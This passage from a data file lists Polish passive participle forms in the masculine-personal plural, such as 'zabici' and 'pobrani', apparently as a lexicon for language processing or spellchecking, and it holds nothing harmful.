ci","odczuci","odepchnięci","odetnięci","odgadnięci","odgarnięci","odgięci","odjęci","odkryci","odkuci","odparci","odpięci","odpłynięci","odpruci","odrośnięci","odsłonięci","odsunięci","odtruci","odwinięci","odżyci","ogarnięci","okryci","okrzyknięci","olśnięci","ominięci","opadnięci","oparci","opchnięci","opici","opluci","orżnięci","osiągnięci","oślepnięci","ostrzelici","osunięci","otarci","otruci","otrząśnięci","owinięci","ożyci","pacnąci","palnięci","parci","pchnięci","pęknięci","pięci","pici","pluci","pobici","pochłonięci","pociągnięci","pocięci","poczęci","poczuci","podarci","podbici","podciągnięci","podcięci","podjęci","podkradnięci","podkuci","podmyci","podnajęci","podpadnięci","podparci","podpięci","podpłynięci","podsunięci","podszyci","podtarci","podwinięci","podźwignięci","pojęci","pojmięci","pokłuci","pokryci","połknięci","pominięci","pomknięci","poparci","popchnięci","popici","popsuci","posunięci","poszczuci","potarci","potknięci","potruci","potrząsnięci","potrząśnięci","powici","powściągnięci","powzięci","pożarci","pozbyci","pożuci","pożyci","pruci","pryśnięci","przebiegnięci","przebici","przebyci","przeciągnięci","przecięci","przeciśnięci","przeczuci","przedarci","przedsiewzięci","przegięci","przeglądnięci","przejęci","przeklęci","przeklnięci","przekłuci","przekuci","przełknięci","przełyknięci","przeminięci","przemknięci","przemyci","przeniknięci","przepchnięci","przepici","przepłynięci","przerośnięci","prześcignięci","prześlizgnięci","przesłonięci","przesunięci","przeszyci","przetarci","przetrząśnięci","przewinięci","przeżarci","przeżuci","przeżyci","przybici","przyciągnięci","przycięci","przyciśnięci","przydepnięci","przygarnięci","przyjęci","przykryci","przykuci","przymknięci","przypadnięci","przyparci","przypięci","przypłynięci","przysiągnięci","przysunięci","przyszyci","przytarci","przytrzasnięci","przywarci","pstryknięci","psuci","puchnięci","puknięci","rozbici","rozbłyśnięci","rozciągnięci","rozcięci","rozgarnięci","rozgięci","rozkuci","rozkwitnięci","rozminięci","rozmyci","rozpięci","rozpłynięci","rozpoczęci","rozpruci","rozrośnięci","rozstrzygnięci","rozsunięci","roztarci","rozwarci","rozwinięci","runięci","ryci","rżnięci","ściągnięci","ścięci","ściśnięci","skrobnięci","skryci","skrzepnięci","skrzyci","skubnięci","skuci","smuci","snuci","spięci","spici","spłonięci","spoczęci","spożyci","sprzątnięci","stnięci","struci","strząśnięci","strzepnięci","stuknięci","sunięci","sypnięci","szarpnięci","szczuci","szepnięci","sztachnięci","szturchnięci","szyci","targnięci","tarci","tchnięci","tknięci","truci","tryśnięci","trzasnięci","trzepnięci","ubici","uciągnięci","ucięci","uciśnięci","uczuci","udźwignięci","ugięci","ugrzęznięci","uiścici","ujęci","ukłuci","uknuci","ukryci","ukuci","umknięci","umyci","uniknięci","uparci","upchnięci","upięci","upici","upłynięci","uprzątnięci","urośnięci","urżnięci","uschnięci","uściśnięci","usunięci","uszczypnięci","uszyci","utarci","utknięci","uwinięci","uwici","użyci","walnięci","wbici","wchłonięci","wciągnięci","wcięci","wciśnięci","wczuci","wdarci","wdepnięci","wepchnięci","wetknięci","wici","wkłuci","wkuci","wniknięci","wpięci","wryci","wślizgnięci","wsparci","wspięci","współczuci","współżyci","wstrząśnięci","wstrzyknięci","wsunięci","wszczęci","wszyci","wtargnięci","wtarci","wybici","wyblaknięci","wybuchnięci","wyciągnięci","wycięci","wyciśnięci","wyczuci","wydobyci","wyfrunięci","wygarnięci","wygaśnięci","wygięci","wyjęci","wykluci","wykłuci","wykopnięci","wykpici","wykradnięci","wykryci","wykrzyknięci","wykuci","wyminięci","wymknięci","wymsknięci","wymyci","wynajęci","wyniknięci","wyparci","wypchnięci","wypięci","wypici","wypluci","wypoczęci","wypruci","wyrośnięci","wyryci","wyrżnięci","wyschnięci","wyślizgnięci","wysnuci","wystrychnięci","wystygnięci","wysunięci","wyszarpnięci","wyszyci","wytarci","wytchnięci","wytknięci","wytruci","wytrzasnięci","wytrząśnięci","wywarci","wywinięci","wyzbyci","wyzionięci","wyżyci","wzbici","wzięci","wzniesięci","wzrośnięci","zabici","zabrnięci","zaciągnięci","zacięci","zaciśnięci","zaczęci","zadarci","zadęci","zadraśnięci","zagadnięci","zagarnięci","zagięci","zaginięci","zajęci","zakłuci","zakryci","zakrzyknięci","zakuci","zakwitnięci","zamachnięci","zamarznięci","zamknięci","zaniknięci","zapięci","zapici","zarżnięci","zasięgnięci","zasunięci","zaszczuci","zaszyci","zatarci","zatknięci","zatonięci","zatruci","zatrzaśnięci","zatrząśnięci","zawarci","zawinięci","zawiśnięci","zawładnięci","zażyci","zbici","zbyci","zcięci","zdarci","zdjęci","zdmuchnięci","zdobyci","zepchnięci","zepsuci","zerżnięci","ześlizgnięci","zetknięci","zgarnięci","zgaśnięci","zgięci","zgnici","złoici","zmarznięci","zmoknięci","zmyci","zorbici","zsunięci","zszyci","ztarci","żuci","zużyci","zwichnięci","zwinięci","życi","zżarci","zżyci","abdykowani","absorbowani","adaptowani","administrowani","adoptowani","adorowani","adresowani","afiszowani","agitowani","akcentowani","akceptowani","aklimatyzowani","akompaniowani","aktualizowani","aktywowani","akumulowani","alaromowani","alienowani","amerykanizowani","amortyzowani","amputowani","analizowani","angażowani","anihilowani","animowani","anonsowani","antropomorfizowani","antydatowani","anulowani","apelowani","aportowani","aranżowani","archiwizowani","aresztowani","argumentowani","artykułowani","ascendowani","asekurowani","asymilowani","asystowani","atakowani","autoryzowani","awanturowani","babrani","baczeni","badani","bagatelizowani","bajerowani","bałamuceni","balangowani","balansowani","banalizowani","bandażowani","bankrutowani","baraszkowani","barwieni","bawieni","bazgrani","bazowani","bębnieni","bełkotani","besztani","biczowani","błagani","błaznowani","blefowani","błogosławieni","blokowani","bluzgani","błyskani","boczeni","bogaceni","bojkotowani","boksowani","bombardowani","bopowani","borowani","brandzlowani","brani","brasowani","bratani","brodzeni","bronieni","brudzeni","brylowani","budowani","budzeni","bujani","buleni","bulwersowani","bumelowani","burzeni","butelkowani","bywani","cackani","całowani","cechowani","celebrowani","celowani","cenieni","cenzurowani","chciani","chlani","chlapani","chlastani","chłodzeni","chlostani","chlubieni","chodowani","chomikowani","chorowani","chowani","chronieni","chrupani","chrzczeni","chwaleni","chwyceni","chwytani","chybotani","chyleni","ciągani","ciemiężeni","cierpiani","cieszeni","ciskani","ciułani","cmokani","cofani","ćpani","cuceni","cudzołożeni","cumowani","ćwiartowani","ćwiczeni","cykani","cytowani","czajeni","czarowani","czczeni","czepiani","czepieni","czerpani","czesani","częstowani","czochrani","czołgani","czytani","darowani","darzeni","datowani","dawani","dbani","deaktywowani","debatowani","dedukowani","dedykowani","defibrylowani","defilowani","definiowani","defraudowani","degradowani","degustowani","deklamowani","deklarowani","dekodowani","dekompresowani","dekorowani","dekretowani","delegowani","delektowani","deliberowani","demaskowani","dementowani","demolowani","demonizowani","demonstrowani","demoralizowani","denerwowani","denuncjowani","depeszowani","depilowani","deportowani","deprawowani","deptani","deratyzowani","destabilizowani","destylowani","desygnowani","determinowani","detonowani","dewastowani","dewaulowani","dezaktywowani","dezorientowani","dezynfekowani","diagnozowani","dilowani","dłubani","dłużeni","dmuchani","dobiegani","dobierani","dobijani","dobrani","dobudzeni","doceniani","docenieni","dochodzeni","dochowani","dochowywani","dociekani","docinani","dociskani","doczekani","doczepieni","doczołgani","doczyszczeni","doczytani","dodani","dodawani","dodrukowani","dodrukowywani","dofinansowani","dofinansowywani","dogadani","dogadywani","dogadzani","doganiani","doglądani","dognani","dogodzeni","dogonieni","dograni","dogryzani","dogryzioni","dogrzani","dogrzebani","doinformowani","dojeżdżani","dojeni","dojrzani","dojrzewani","dokańczani","dokarmiani","dokarmieni","dokazani","dokazywani","dokładani","doklejeni","dokonani","dokończeni","dokonywani","dokopani","dokopywani","dokowani","dokręcani","dokręceni","dokształcani","dokształceni","dokuczani","dokumentowani","dokupieni","dołączani","dołączeni","doładowani","dolani","dolewani","doliczeni","dołowani","dołożeni","domagani","domalowani","domniewywani","domówieni","domyślani","domyśleni","doniesieni","donoszeni","dopadani","dopakowani","dopaleni","dopasowani","dopasowywani","dopatrywani","dopatrzeni","dopchani","dopełniani","dopełnieni","dopieszczeni","dopijani","dopilnowani","dopingowani","dopisani","dopisywani","dopłacani","dopłaceni","dopolerowani","dopompowani","dopowiedziani","dopracowani","dopracowywani","doprani","doprawieni","doprecyzowani","doproszeni","doprowadzani","doprowadzeni","dopucowani","dopuszczani","dopuszczeni","dopytywani","dorabiani","doradzani","doradzeni","doręczani","doręczeni","dorobieni","dorównani","dorównywani","dorwani","dorysowani","dorzucani","dorzuceni","dosiadani","doskoczeni","doskonaleni","dosładzani","dosłani","dosłyszani","dosoleni","dośrodkowani","dossani","dostani","dostąpieni","dostarczani","dostarczeni","dostawani","dostawiani","dostawieni","dostosowani","dostosowywani","dostrajani","dostrojeni","dostrzegani","dosuwani","doświadczani","doświetleni","dosypani","dosypywani","doszkoleni","doszlifowani","doszorowani","doszukani","doszukiwani","dotankowani","dotankowywani","dotargani","dotaszczeni","dotlenieni","dotłumaczeni","dotowani","dotrwani","dotrzymani","dotrzymywani","dotykani","douczani","douczeni","dowaleni","dowiezieni","dowodzeni","dowożeni","doznani","doznawani","dozorowani","dozowani","dożywieni","dramatyzowani","drapani","drażnieni","drążeni","dręczeni","drenowani","drgani","drukowani","dryblowani","dryfowani","drzemani","dubbingowani","dublowani","duplikowani","duszeni","dworowani","dygotani","dyktowani","dymani","dymieni","dyrygowani","dyscyplinowani","dyskredytowani","dyskryminowani","dyskutowani","dyskwalifikowani","dysponowani","dystansowani","dystrybuowani","dywagowani","dźgani","dziedziczeni","dziękowani","dzieleni","dziergani","dzierżeni","dziobani","dziurawieni","dziurkowani","dźwigani","edukowani","edytowani","egzaminowani","egzekutowani","egzekwowani","ekscytowani","ekshumowani","ekskomunikowani","eksmitowani","ekspandowani","eksperymentowani","eksploatowani","eksplorowani","eksponowani","eksportowani","eksterminowani","ekstradowani","ekstrapolowani","eliminowani","emancypowani","emigrowani","emitowani","energetyzowani","eskortowani","etykietowani","ewakuowani","ewaluowani","fabrykowani","falowani","fałszowani","farbowani","faszerowani","faulowani","faworyzowani","fechtowani","fermentowani","ferowani","figurowani","filetowani","filmowani","filtrowani","finalizowani","finansowani","firmowani","fleszowani","folgowani","formułowani","forsowani","fotografowani","fundowani","gadani","ganiani","garbieni","gardzeni","garnirowani","gaszeni","gawędzeni","gaworzeni","gazowani","gdakani","gderani","generalizowani","generowani","gilgotani","gładzeni","głaskani","głodowani","głodzeni","gloryfikowani","głosowani","głoszeni","głowieni","gmatwani","gmerani","gnani","gnębieni","gnieceni","gnojeni","godzeni","goleni","gonieni","googlowani","gospodarowani","goszczeni","gotowani","grabieni","grani","grasowani","gratulowani","grillowani","grilowani","gromadzeni","gromieni","grożeni","gruchani","grupowani","grywani","gryzieni","grzani","grzechotani","gubieni","gustowani","gwałceni","gwarantowani","gwizdani","hackowani","haftowani","hamowani","hańbieni","handlowani","harcowani","harmonizowani","harowani","hartowani","hibernowani","hipnotyzowani","hodowani","holowani","hołubieni","honorowani","hospitalizowani","hulani","huśtani","idealizowani","identyfikowani","ignorowani","igrani","ilustrowani","imitowani","implantowani","implodowani","imponowani","importowani","improwizowani","indokrynowani","indukowani","infekowani","infiltrowani","informowani","ingerowani","inhalowani","inscenizowani","inspirowani","instalowani","instruowani","insynuowani","integrowani","interpretowani","interweniowani","intonowani","intubowani","inwestowani","inwigilowani","irytowani","iskrzeni","izolowani","jadani","jawieni","jazgotani","jednoczeni","jedzeni","kablowani","kadzeni","kalani","kaleczeni","kalkulowani","kamerowani","kamienowani","kamuflowani","kanalizowani","kąpani","kapitulowani","kapowani","karani","karbonizowani","karceni","karczowani","karmieni","kartkowani","kąsani","kasowani","kastrowani","katalogowani","katapultowani","katowani","katrupieni","kierowani","kimani","kiszeni","kiwani","kłaniani","klapani","klarowani","klasyfikowani","klębieni","klejeni","klepani","klikani","klonowani","kłopotani","knoceni","kochani","koczowani","kodowani","kojarzeni","kojeni","kolekcjonowani","kolektywizowani","kolidowani","kolonizowani","kolorowani","koloryzowani","kołowani","kołysani","kombinowani","komenderowani","komentowani","komercjalizowani","kompensowani","komplementowani","komplikowani","komponowani","kompromitowani","komunikowani","konani","koncentrowani","kończeni","konfabulowani","konfiskowani","konfrontowani","konserwowani","konspirowani","konstruowani","konsultowani","konsumowani","kontaktowani","kontestowani","kontrastowani","kontrolowani","kontrowani","kontynuowani","kontynuuowani","konwertowani","konwojowani","koordynowani","kopani","kopceni","kopiowani","kopulowani","korelowani","korkowani","koronowani","korygowani","korzystani","koszeni","kotwiczeni","kozaczeni","kozłowani","kradzieni","krajani","krążeni","kręceni","kremowani","kreowani","krochmaleni","krojeni","kropieni","kruszeni","krystalizowani","krytykowani","krzyczani","krzywdzeni","krzywieni","krzyżowani","kserowani","księgowani","kształceni","kształtowani","kuleni","kultywowani","kumulowani","kupczeni","kupieni","kupowani","kupywani","kurczeni","kurowani","kursowani","kurzeni","kuszeni","kwalifikowani","kwestionowani","łączeni","ładowani","łagodzeni","łajdaczeni","lakierowani","łamani","lamentowani","lansowani","lani","łapani","łaskotani","łaszeni","latani","łatani","lawirowani","leczeni","legalizowani","legitymowani","lekceważeni","lepieni","lewitowani","liberowani","licencjonowani","licytowani","liczeni","likwidowani","linczowani","liniowani","literowani","litowani","lizani","lobbowani","lokalizowani","losowani","łowieni","łożeni","lubiani","łudzeni","lunatykowani","łupani","łupieni","łuskani","lustrowani","łuszczeni","luzowani","łykani","łyżeczkowani","macani","machani","mąceni","maczani","maganyzowani","maglowani","majaczeni","majsterkowani","majtani","maksymalizowani","malowani","maltretowani","mamieni","mamrotani","manewrowani","manifestowani","manipulowani","markowani","marnotrawieni","marnowani","marszczeni","marynowani","masakrowani","maskowani","masowani","masturbowani","mataczeni","materializowani","mawiani","mazani","męczeni","meldowani","merdani","metabolizowani","miażdżeni","mieleni","mierzeni","mierzwieni","mieszani","miętoleni","migani","migdaleni","migotani","mijani","miksowani","milowani","minimalizowani","miotani","mistyfikowani","mitygowani","mizdrzeni","mlani","mniemani","mnożeni","mobilizowani","mocowani","moczeni","modelowani","modernizowani","modleni","modulowani","modyfikowani","molestowani","monitorowani","monopolizowani","montowani","mordowani","motywowani","mrożeni","mrugani","mrużeni","muskani","mutowani","mydleni","myleni","myszkowani","nabazgrani","nabiegani","nabierani","nabrani","nabrojeni","nabrudzeni","nabywani","nacelowani","nachapani","nachodzeni","nachwaleni","nachyleni","naciągani","nacierani","nacinani","naciskani","nacjonalizowani","naczepieni","nadani","nadawani","nadchodzeni","nadciągani","nadesłani","nadgonieni","nadgryzani","nadgryzieni","nadinterpretowani","nadłożeni","nadmieniani","nadmienieni","nadmuchani","nadrabiani","nadrobieni","nadskakiwani","nadsłuchiwani","nadstawiani","nadstawieni","naduszeni","nadużywani","nadwerężani","nadwyrężani","nadwyrężeni","nadziani","nadzorowani","naelektryzowani","nafaszerowani","nagabywani","nagadani","naginani","nagłaszani","nagłośnieni","nagonieni","nagradzani","nagrani","nagrodzeni","nagromadzeni","nagrywani","nagryzmoleni","nagrzani","nagrzebani","nagrzewani","nagwizdani","naigrywani","najechani","najmowani","nakarmiani","nakarmieni","nakazani","nakazywani","nakierowani","nakierowywani","nakładani","nakłamani","nakłaniani","naklejani","naklejeni","naklepani","nakłonieni","nakłuwani","nakopani","nakręcani","nakręceni","nakreślani","nakreśleni","nakruszeni","nakrywani","nakrzyczani","nakupieni","naładowani","nalani","nałapani","nalepieni","nalewani","naliczeni","nałowieni","nałożeni","namaczani","namagnetyzowani","namalowani","namaszczani","namaszczeni","namawiani","namęczeni","namierzani","namieszani","namoczeni","namówieni","namydlani","namyśleni","naniesieni","naoliwiani","naoliwieni","naopowiadani","naostrzeni","napadani","napakowani","napaleni","naparzani","napastowani","napawani","napchani","napędzani","napełniani","napełnieni","napierani","napiętnowani","napinani","napisani","napływani","napojeni","napompowani","napotkani","napotykani","napraszani","naprawiani","naprawieni","naprężani","naprężeni","napromieniowani","naprostowani","naprowadzani","naprowadzeni","napuszczani","napuszczeni","napychani","napytani","narąbani","naradzani","naradzeni","narastani","narażani","narażeni","nareperowani","narkotyzowani","narodzeni","naruszani","naruszeni","narwani","narysowani","narzucani","narzuceni","nasączani","nasączeni","nasadzeni","nasiąkani","nasilani","nasileni","naskakiwani","naskoczeni","naskrobani","naśladowani","nasłani","nasłuchani","nasłuchiwani","nasmarowani","nastąpieni","nastawiani","nastawieni","nastraszani","nastrojeni","nastukani","nasuwani","naświetlani","nasyceni","nasyłani","nasypani","naszczani","naszkicowani","naszpikowani","naszprycowani","naszykowani","naszywani","natlenieni","natłuszczeni","natrafieni","natrząsani","nauczani","nauczeni","nawadniani","nawaleni","nawiązani","nawiązywani","nawiedzani","nawiedzeni","nawierceni","nawiewani","nawiezieni","nawigowani","nawijani","nawilżani","nawilżeni","nawlekani","nawodnieni","nawoływani","nawoskowani","nawożeni","nawpychani","nawracani","nawróceni","nawrzucani","nawtykani","nawymyślani","nazbierani","nazmyślani","naznaczani","naznaczeni","nazrywani","nazwani","nazywani","nęceni","negocjowani","negowani","nękani","neutralizowani","niańczeni","niecierpliwieni","niedoceniani","niedowidziani","nienawidzeni","niesieni","nikoleni","niszczeni","nitkowani","niuchani","niweczeni","niwelowani","nokautowani","nominowani","notowani","nuceni","numerowani","nurtowani","obaczeni","obadani","obalani","obaleni","obandażowani","obarczani","obarczeni","obawiani","obchodzeni","obciążeni","obcinani","obcyndalani","obczajani","obczajeni","obdarowani","obdarzani","obdarzeni","obdzieleni","obdzierani","obdzwaniani","obdzwonieni","obejmowani","oberwani","obessani","obezwładniani","obezwładnieni","obfotografowani","obfotografowywani","obgadani","obgadywani","obgryzani","obgryzieni","obiecani","obiecywani","obierani","obijani","objadani","objaśniani","objawiani","objawieni","objechani","objeżdżani","obkręcani","oblani","obłapiani","obłapywani","obłaskawiani","obłaskawieni","obleciani","oblewani","obliczani","obliczeni","oblizani","obłowieni","obłożeni","obluzowani","obluzowywani","obmacani","obmacywani","obmawiani","obmyślani","obmyśleni","obmywani","obnażani","obniżani","obniżeni","obnoszeni","obowiązywani","obozowani","obrabiani","obrabowani","obracani","obradowani","obramowani","obraniani","obrani","obrastani","obrażani","obrażeni","obrobieni","obróceni","obrodzeni","obronieni","obrysowani","obrywani","obryzgani","obrzezani","obrzucani","obrzuceni","obrzygani","obsadzani","obsadzeni","obściskiwani","obserwowani","obsiani","obsikani","obsikiwani","obskakiwani","obskoczeni","obskubani","obskubywani","obśliniani","obślinieni","obsługiwani","obsłużeni","obsmarowani","obstawiani","obstawieni","obstrzeliwani","obsuwani","obsypani","obsypywani","obszukani","obszukiwani","obtaczani","obtoczeni","obudzeni","obwąchani","obwąchiwani","obwiązani","obwiązywani","obwieszani","obwieszczani","obwieszczeni","obwieszeni","obwijani","obwiniani","obwołani","obżerani","ocalani","ocaleni","ocechowani","oceniani","ocenieni","ocenzurowani","ochładzani","ochlapani","ochlapywani","ochłodzeni","ochraniani","ochronieni","ochrzaniani","ochrzczeni","ociągani","ocieleni","ocieplani","ociepleni","ocierani","ocuceni","oczarowywani","oczekiwani","oczerniani","oczernieni","oczyszczani","oczyszczeni","odbębnieni","odbetonowani","odbezpieczani","odbezpieczeni","odbijani","odblokowani","odbudowani","odbudowywani","odbutowani","odcedzani","odchorowani","odchowani","odchudzani","odchudzeni","odchylani","odchyleni","odciągani","odciążeni","odcierpieni","odcinani","odcumowani","odcyfrowani","odcyfrowywani","odczarowani","odczekani","odczepiani","odczepieni","odczuwani","odczynieni","odczytani","odczytywani","oddalani","oddani","oddawani","oddelegowani","oddychani","oddzielani","oddzieleni","odebrani","odegnani","odegrani","odejmowani","oderwani","odeskortowani","odesłani","odespani","odessani","odetkani","odezwani","odfiltrowani","odgadywani","odganiani","odgarniani","odgniatani","odgonieni","odgradzani","odgrażani","odgrodzeni","odgruzowani","odgrywani","odgryzani","odgryzieni","odgrzani","odgrzebani","odgrzebywani","odgrzewani","odgwizdani","odhaczeni","odholowani","odinstalowani","odizolowani","odjedzeni","odjonizowani","odkażani","odkażeni","odkładani","odklejeni","odkochani","odkodowani","odkodowywani","odkopani","odkopywani","odkorkowani","odkręcani","odkręceni","odkrojeni","odkrywani","odkupieni","odkupywani","odkurzani","odkurzeni","odłączani","odłączeni","odłamywani","odlani","odlatywani","odlepiani","odlewani","odliczani","odliczeni","odłożeni","odłupani","odmachani","odmachiwani","odmalowani","odmarszczeni","odmawiani","odmeldowani","odmieniani","odmienieni","odmierzani","odmierzeni","odmieszani","odmontowani","odmówieni","odmrażani","odmrożeni","odnajdowani","odnalezieni","odnawiani","odniesieni","odnoszeni","odnotowani","odnotowywani","odnowieni","odpakowani","odpakowywani","odpalani","odpaleni","odpałzowani","odparowani","odpędzani","odpicowani","odpieczętowani","odpierani","odpiłowani","odpiłowywani","odpinani","odpisani","odpisywani","odpłacani","odplamieni","odplątani","odpowietrzeni","odpracowani","odpracowywani","odprasowani","odprawiani","odprawieni","odprężani","odprostowani","odprowadzani","odprowadzeni","odpryskani","odpukani","odpukiwani","odpuszczani","odpuszczeni","odpychani","odrąbani","odrabiani","odrąbywani","odradzani","odradzeni","odrapani","odrastani","odratowani","odreagowani","odremontowani","odrestaurowani","odrestaurowywani","odrobaczani","odrobieni","odroczeni","odrodzeni","odróżniani","odróżnieni","odrysowani","odrywani","odrzucani","odrzuceni","odsączani","odsączeni","odsadzeni","odseparowani","odsiadywani","odsiani","odsiewani","odsłaniani","odsłuchani","odsłuchiwani","odsłużeni","odśnieżani","odśnieżeni","odsoleni","odśpiewani","odsprzedani","odsprzedawani","odstąpieni","odstawiani","odstawieni","odstępowani","odstraszani","odstręczeni","odstresowani","odstrzeliwani","odstrzeleni","odsuwani","odświeżani","odświeżeni","odsyłani","odsypywani","odsysani","odszczekani","odszczekiwani","odsztafirowani","odszukani","odszyfrowani","odszyfrowywani","odszykowani","odtrąbieni","odtrąceni","odtwarzani","odtworzeni","oduczeni","odurzeni","odwalani","odwaleni","odwiązani","odwiązywani","odwiedzani","odwiedzeni","odwieszeni","odwiezieni","odwijani","odwlekani","odwodnieni","odwodzeni","odwołani","odwoływani","odwożeni","odwracani","odwróceni","odwzajemnieni","odwzorowani","odżegnani","odziani","odziedziczeni","odznaczani","odznaczeni","odzwieciedleni","odzwierciedlani","odzwonieni","odzwyczajeni","odzyskani","odzyskiwani","odzywiani","odżywieni","oferowani","ofiarowani","ofiarowywani","ogarniani","oglądani","ogłaszani","ogłoszeni","ogłupiani","ogłupieni","ogłuszeni","ogołoceni","ogoleni","ograbiani","ograbieni","ograniczani","ograniczni","ograni","ogrodzeni","ogryzieni","ogrzani","ogrzewani","okablowani","okaleczeni","okantowani","okąpani","okazani","okazywani","okiełznani","okładani","okłamani","okłamywani","oklaskiwani","oklejeni","oklepani","okopani","okopywani","okpieni","okradani","okradzieni","okraszeni","okrążani","okrążeni","okręcani","okręceni","określani","określeni","okrojeni","okrywani","okulawieni","okupieni","okupowani","olani","olewani","omamieni","omawiani","omdlewani","omijani","omotani","omówieni","onanizowani","onieśmielani","onieśmieleni","opakowani","opalani","opaleni","opancerzeni","opanowani","opanowywani","oparzeni","opasani","opatentowani","opatrywani","opatrzeni","opatuleni","opędzani","opędzeni","operowani","opętani","opętywani","opieczętowani","opiekowani","opierani","opijani","opisani","opisywani","opłacani","opłaceni","opłakani","opłakiwani","opłukani","opluwani","opływani","opodatkowani","opodatkowywani","oponowani","oporządzani","oporządzeni","opowiadani","opowiedziani","opóźniani","opóźnieni","opracowani","opracowywani","oprawiani","oprawieni","oprowadzani","oprowadzeni","opróżniani","opróżnieni","opryskani","opryskiwani","opublikowani","opukani","opuszczani","opuszczeni","opychani","opyleni","orani","orbowani","organizowani","orientowani","oroszeni","orzekani","osaczani","osaczeni","osadzani","osądzani","osadzeni","osądzeni","oscylowani","osiadani","osiągani","osiedlani","osiedleni","osiedzeni","osieroceni","osiodłani","oskalpowani","oskarżeni","oskrobani","oskrzydlani","oskrzydleni","oskubani","oskubywani","osłabiani","osłabieni","oślepiani","oślepieni","ośliniani","osłodzeni","osłonieni","osłuchani","osmaleni","ośmieleni","ośmieszani","ośmieszeni","ostrzegani","ostrzelani","ostrzeni","ostudzeni","osuszani","osuszeni","osuwani","oswajani","oświadczani","oświadczeni","oświecani","oświecieni","oświetlani","oświetleni","oswobadzani","oswobodzeni","oswojeni","oszacowani","oszałamiani","oszczani","oszczędzani","oszczędzeni","oszkleni","oszlifowani","oszołomieni","oszpeceni","oszukani","oszukiwani","oszwabieni","otaczani","otoczeni","otruwani","otrząsani","otrzepani","otrzeźwieni","otrzymani","otrzymywani","otuleni","otumanieni","otwierani","otwarci","owani","owdowieni","owiani","owijani","ozdabiani","ozdobieni","ozdrowieni","ożenieni","oznaczani","oznaczeni","oznajmiani","oznajmieni","oznakowani","ożywani","ożywiani","ożywieni","pakowani","paktowani","pałani","pałaszowani","paleni","pamiętani","panoszeni","paprani","parafrazowani","paraliżowani","parkowani","parowani","partaczeni","parzeni","pastowani","paszeni","patrolowani","patroszeni","pauzowani","pchani","pdholowani","pedałowani","pękani","pełnieni","penetrowani","perforowani","perfumowani","perswadowani","piastowani","pichceni","pielęgnowani","pieleni","pienieni","pieszczeni","piętnowani","pijani","pikietowani","piknikowani","pikowani","pilnowani","pilotowani","piłowani","pisani","pisywani","płaceni","plądrowani","planowani","płaszczeni","plątani","płatani","pławieni","plewieni","płoszeni","plotkowani","plugawieni","płukani","pluskani","pobaraszkowani","pobierani","pobłażani","pobłogosławieni","pobrani","pobrudzeni","pobudzani","pobudzeni","pobujani","pocałowani","pocerowani","pochłaniani","pochlapani","pochlebiani","pochowani","pochwalani","pochwaleni","pochwyceni","pochylani","pochyleni","pociachani","pociągani","pocierani","pocieszani","pocieszeni","poceni","pocukrowani","poćwiartowani","poczesani","poczęstowani","poczochrani","poczytani","poczytywani","podani","podarowani","podawani","podążeni","podbierani","podbijani","podbudowani","podbudowywani","podburzani","podburzeni","podchwyceni","podciągani","podcierani","podcinani","podczepieni","poddani","poddawani","podebrani","podejmowani","podejrzani","podejrzewani","podelektowani","podeptani","poderwani","podesłani","podglądani","podgoleni","podgonieni","podgryzani","podgrzani","podgrzewani","podjadani","podjedzeni","podkablowani","podkarmieni","podkładani","podklejeni","podkolorowani","podkołowani","podkopani","podkopywani","podkradani","podkręcani","podkręceni","podkreślani","podkreśleni","podkształceni","podkuleni","podkupieni","podkurzeni","podłączani","podłączeni","podładowani","podłamani","podlani","podłapani","podleczeni","podlegani","podlewani","podliczani","podliczeni","podlizani","podlizywani","podłożeni","podmalowani","podmieniani","podmienieni","podmuchani","podniecani","podnieceni","podniesieni","podnoszeni","podołani","podopingowani","podostrzeni","podotykani","podpalani","podpaleni","podpatrywani","podpatrzeni","podpieczętowani","podpiekani","podpierani","podpiłowani","podpinani","podpisani","podpisywani","podpłaceni","podpompowani","podporządkowani","podporządkowywani","podpowiadani","podpowiedziani","podprowadzani","podpuszczani","podpuszczeni","podpychani","podpytani","podrabiani","podrapani","podrasowani","podratowani","podrażnieni","podręczeni","podregulowani","podreperowani","podretuszowani","podrobieni","podroczeni","podróżowani","podrygiwani","podrywani","podrzucani","podrzuceni","podrzynani","podsadzeni","podskubywani","podsłuchani","podsłuchiwani","podsmażani","podsmażeni","podśpiewywani","podstawiani","podstawieni","podstemplowani","podstrojeni","podsumowani","podsumowywani","podsuwani","podświetlani","podsycani","podsyceni","podsyłani","podsypani","podszczypywani","podszkoleni","podszlifowani","podszykowani","podszywani","podtapiani","podtopieni","podtrzymani","podtrzymywani","podtuczeni","poduczani","podupadani","poduszeni","podwajani","podwalani","podważani","podwędzeni","podwiązani","podwieszani","podwiezieni","podwijani","podwojeni","podwożeni","podwyżani","podwyższani","podwyższeni","podyktowani","podyskutowani","podziabani","podziałani","podziałkowani","podziękowani","podzieleni","podziurawieni","podziwiani","poeksperymentowani","pofarbowani","pofatygowani","pofilmowani","poganiani","pogardzani","pogardzeni","pogarszani","pogaszeni","pogładzeni","pogłaskani","pogłębiani","pogłębieni","pogłośnieni","pogmatwani","pognębieni","pogniecieni","pogodzeni","pogonieni","pogorszeni","pogotowani","pograbieni","pogrążani","pogrążeni","pogrożeni","pogrubiani","pogrubieni","pogruchani","pogruchotani","pogrupowani","pogrywani","pogryzani","pogryzieni","pogrzani","pogrzebani","pogubieni","pogwałcani","pohamowani","pohandlowani","poharatowani","pohuśtani","poinformowani","poinstruowani","pojednani","pojmowani","pojeni","pokajani","pokaleczeni","pokarani","pokarmieni","pokąsani","pokatalogowani","pokazani","pokazywani","pokiereszowani","pokierowani","pokiwani","pokładani","poklepani","poklepywani","pokłonieni","pokochani","pokolorowani","pokoloryzowani","pokołysani","pokombinowani","pokomplikowani","pokonani","pokończeni","pokonywani","pokopani","pokrajani","pokrążeni","pokręceni","pokrojeni","pokruszeni","pokrywani","pokrzepiani","pokrzepieni","pokrzyżowani","pokuszeni","pokutowani","połączeni","polakierowani","połamani","polani","połapani","połaskotani","połatani","polecani","połechtani","poleceni","poleczeni","polegani","polemizowani","polepszani","polepszeni","polerowani","polewani","policzkowani","policzeni","polimeryzowani","polizani","polowani","połowieni","położeni","polubieni","poluźnieni","poluzowani","połykani","pomacani","pomachani","pomagani","pomalowani","pomarynowani","pomasowani","pomazani","pomęczeni","pomiatani","pomieszani","pomieszczeni","pomijani","pomiziani","pomnażani","pomniejszani","pomniejszeni","pomnożeni","pomoczeni","pompowani","pomydleni","pomyleni","pomyszkowani","pomywani","ponabijani","ponaciskani","ponadziewani","ponaglani","ponagleni","ponagrywani","ponaklejani","ponakłuwani","ponakrywani","ponaprawiani","ponawiani","poniańczeni","poniechani","ponieiwerani","poniesieni","poniszczeni